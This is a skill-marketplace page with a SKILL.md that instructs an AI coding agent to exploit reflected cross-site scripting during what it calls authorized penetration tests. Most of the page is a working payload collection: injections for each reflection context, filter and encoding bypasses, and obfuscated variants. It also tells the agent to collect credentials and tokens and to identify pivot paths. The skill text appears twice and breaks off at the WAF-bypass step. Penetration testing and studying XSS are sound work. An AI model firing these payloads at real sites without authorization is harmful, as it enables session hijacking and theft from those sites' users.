/xss-reflected
Guide reflected XSS exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill xss-reflected --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
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- Slash command
/xss-reflected
Context preview
The summary Claude sees to decide when to auto-load this skill.
Guide reflected XSS exploitation during authorized penetration testing.
SKILL.md
xss-reflected.SKILL.mdname: xss-reflected
description: >
Guide reflected XSS exploitation during authorized penetration testing.
keywords:
- reflected XSS
- XSS filter bypass
- WAF bypass XSS
- CSP bypass
- payload reflected in page
- input echoed in response
- script injection
- HTML injection
tools:
- burpsuite
- dalfox
- XSStrike
opsec: low
Reflected XSS
You are helping a penetration tester exploit reflected cross-site scripting. The target application echoes user input in the HTTP response without proper sanitization. Your job is to achieve JavaScript execution in the victim's browser. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[xss-reflected] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Web Interaction
- **curl** for payload testing — use curl to inject XSS payloads with precise
control over URL parameters, headers, and encoding
- **`browser_open`** to navigate to reflected endpoint and verify rendering
- **`browser_evaluate`** to check if payload executed (e.g.,
`document.querySelector('img#xss-test')` to verify DOM changes from payload)
- **`browser_screenshot`** for evidence of successful XSS execution
Prerequisites
- Confirmed reflection point (see **web-discovery**)
- Input appears in the HTTP response body or headers
- If input is stored and rendered later, use **xss-stored** instead
- If input only affects the DOM via JavaScript (not in HTTP response), use **xss-dom**
Step 1: Assess
If not already provided, determine: 1. **Reflection point** — URL, parameter, request method 2. **Reflection context** — where does the input land in the HTML? 3. **Existing filters** — what characters/strings are blocked or encoded?
Skip if context was already provided.
Step 2: Identify Reflection Context
The payload depends entirely on where the input lands. Inject a canary string like `xss<>"'` and examine where it appears in the response.
| Context | Example | Strategy | |---|---|---| | Between HTML tags | `<div>REFLECTED</div>` | Inject new tags: `<script>`, `<img>`, `<svg>` | | Inside an HTML attribute | `<input value="REFLECTED">` | Break out of attribute: `"onmouseover=alert(1)` or `"><script>` | | Inside a `href`/`src` | `<a href="REFLECTED">` | Use `javascript:` wrapper | | Inside `<script>` block | `var x = "REFLECTED";` | Break out of string: `";alert(1)//` or `'-alert(1)-'` | | Inside HTML comment | `<!-- REFLECTED -->` | Close comment: `--><script>alert(1)</script>` | | Inside `<style>` / CSS | `color: REFLECTED` | Use `</style><script>alert(1)</script>` |
Step 3: Basic Payloads
Try simple payloads first — escalate complexity only if blocked.
**Between HTML tags:**
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<body onload=alert(document.domain)>
**Breaking out of attributes:**
"><script>alert(document.domain)</script>
" autofocus onfocus=alert(document.domain) x="
'><img src=x onerror=alert(document.domain)>
**Inside JavaScript context:**
";alert(document.domain)//
'-alert(document.domain)-'
\';alert(document.domain)//
</script><script>alert(document.domain)</script>
**Inside href/src (javascript: wrapper):**
javascript:alert(document.domain)
javascript://%0aalert(document.domain)
**Inside hidden inputs:**
" accesskey="X" onclick="alert(document.domain)
" oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto
Step 4: Filter Bypass
When basic payloads are blocked, use these bypass techniques.
Tag/Keyword Filters
<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
<!-- Tag with extra attributes -->
<script x>alert(1)</script y>
<!-- Less common tags -->
<details/open/ontoggle=alert(1)>
<video src=_ onloadstart=alert(1)>
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>
<!-- Nested/broken tags -->
<scr<script>ipt>alert(1)</scr<script>ipt>
Parenthesis Blocked
alert`1`
onerror=alert;throw 1
{onerror=alert}throw 1
setTimeout`alert\u0028document.domain\u0029`Quote Filters
String.fromCharCode(88,83,83)
/XSS/.source
Dot Filter
window['alert'](document['domain'])
eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))Space Filter
<svg/onload=alert(1)>
<img/src=x/onerror=alert(1)>
Encoding Bypass
<!-- HTML entity encoding -->
alert(1)
<!-- Unicode escapes in JS -->
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<!-- Hex/octal in JS strings -->
eval('\x61lert(1)')
<!-- URL encoding in href -->
javascript:%61lert(1)
java%0ascript:alert(1)
java%09script:alert(1)Uppercase Output
When the app uppercases your input:
<IMG SRC=1 ONERROR=alert(1)>
Step 5: WAF Bypass
Per-WAF techniques when application-level filters pass
Read more
name: xss-reflected description: > Guide reflected XSS exploitation during authorized penetration testing. keywords: - reflected XSS - XSS filter bypass - WAF bypass XSS - CSP bypass - payload reflected in page - input echoed in response - script injection - HTML injection tools: - burpsuite - dalfox - XSStrike opsec: low
Reflected XSS
You are helping a penetration tester exploit reflected cross-site scripting. The target application echoes user input in the HTTP response without proper sanitization. Your job is to achieve JavaScript execution in the victim's browser. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[xss-reflected] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Web Interaction
- **curl** for payload testing — use curl to inject XSS payloads with precise
control over URL parameters, headers, and encoding
- **`browser_open`** to navigate to reflected endpoint and verify rendering
- **`browser_evaluate`** to check if payload executed (e.g.,
`document.querySelector('img#xss-test')` to verify DOM changes from payload)
- **`browser_screenshot`** for evidence of successful XSS execution
Prerequisites
- Confirmed reflection point (see **web-discovery**)
- Input appears in the HTTP response body or headers
- If input is stored and rendered later, use **xss-stored** instead
- If input only affects the DOM via JavaScript (not in HTTP response), use **xss-dom**
Step 1: Assess
If not already provided, determine: 1. **Reflection point** — URL, parameter, request method 2. **Reflection context** — where does the input land in the HTML? 3. **Existing filters** — what characters/strings are blocked or encoded?
Skip if context was already provided.
Step 2: Identify Reflection Context
The payload depends entirely on where the input lands. Inject a canary string like `xss<>"'` and examine where it appears in the response.
| Context | Example | Strategy | |---|---|---| | Between HTML tags | `<div>REFLECTED</div>` | Inject new tags: `<script>`, `<img>`, `<svg>` | | Inside an HTML attribute | `<input value="REFLECTED">` | Break out of attribute: `"onmouseover=alert(1)` or `"><script>` | | Inside a `href`/`src` | `<a href="REFLECTED">` | Use `javascript:` wrapper | | Inside `<script>` block | `var x = "REFLECTED";` | Break out of string: `";alert(1)//` or `'-alert(1)-'` | | Inside HTML comment | `<!-- REFLECTED -->` | Close comment: `--><script>alert(1)</script>` | | Inside `<style>` / CSS | `color: REFLECTED` | Use `</style><script>alert(1)</script>` |
Step 3: Basic Payloads
Try simple payloads first — escalate complexity only if blocked.
**Between HTML tags:**
<script>alert(document.domain)</script> <img src=x onerror=alert(document.domain)> <svg onload=alert(document.domain)> <details open ontoggle=alert(document.domain)> <body onload=alert(document.domain)>
**Breaking out of attributes:**
"><script>alert(document.domain)</script> " autofocus onfocus=alert(document.domain) x=" '><img src=x onerror=alert(document.domain)>
**Inside JavaScript context:**
";alert(document.domain)// '-alert(document.domain)-' \';alert(document.domain)// </script><script>alert(document.domain)</script>
**Inside href/src (javascript: wrapper):**
javascript:alert(document.domain) javascript://%0aalert(document.domain)
**Inside hidden inputs:**
" accesskey="X" onclick="alert(document.domain) " oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto
Step 4: Filter Bypass
When basic payloads are blocked, use these bypass techniques.
Tag/Keyword Filters
<!-- Case variation --> <ScRiPt>alert(1)</sCrIpT> <IMG SRC=x ONERROR=alert(1)> <!-- Tag with extra attributes --> <script x>alert(1)</script y> <!-- Less common tags --> <details/open/ontoggle=alert(1)> <video src=_ onloadstart=alert(1)> <audio src onloadstart=alert(1)> <marquee onstart=alert(1)> <meter value=2 min=0 max=10 onmouseover=alert(1)> <!-- Nested/broken tags --> <scr<script>ipt>alert(1)</scr<script>ipt>
Parenthesis Blocked
alert`1`
onerror=alert;throw 1
{onerror=alert}throw 1
setTimeout`alert\u0028document.domain\u0029`Quote Filters
String.fromCharCode(88,83,83) /XSS/.source
Dot Filter
window['alert'](document['domain'])
eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))Space Filter
<svg/onload=alert(1)> <img/src=x/onerror=alert(1)>
Encoding Bypass
<!-- HTML entity encoding -->
alert(1)
<!-- Unicode escapes in JS -->
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<!-- Hex/octal in JS strings -->
eval('\x61lert(1)')
<!-- URL encoding in href -->
javascript:%61lert(1)
java%0ascript:alert(1)
java%09script:alert(1)Uppercase Output
When the app uppercases your input:
<IMG SRC=1 ONERROR=alert(1)>
Step 5: WAF Bypass
Per-WAF techniques when application-level filters pass
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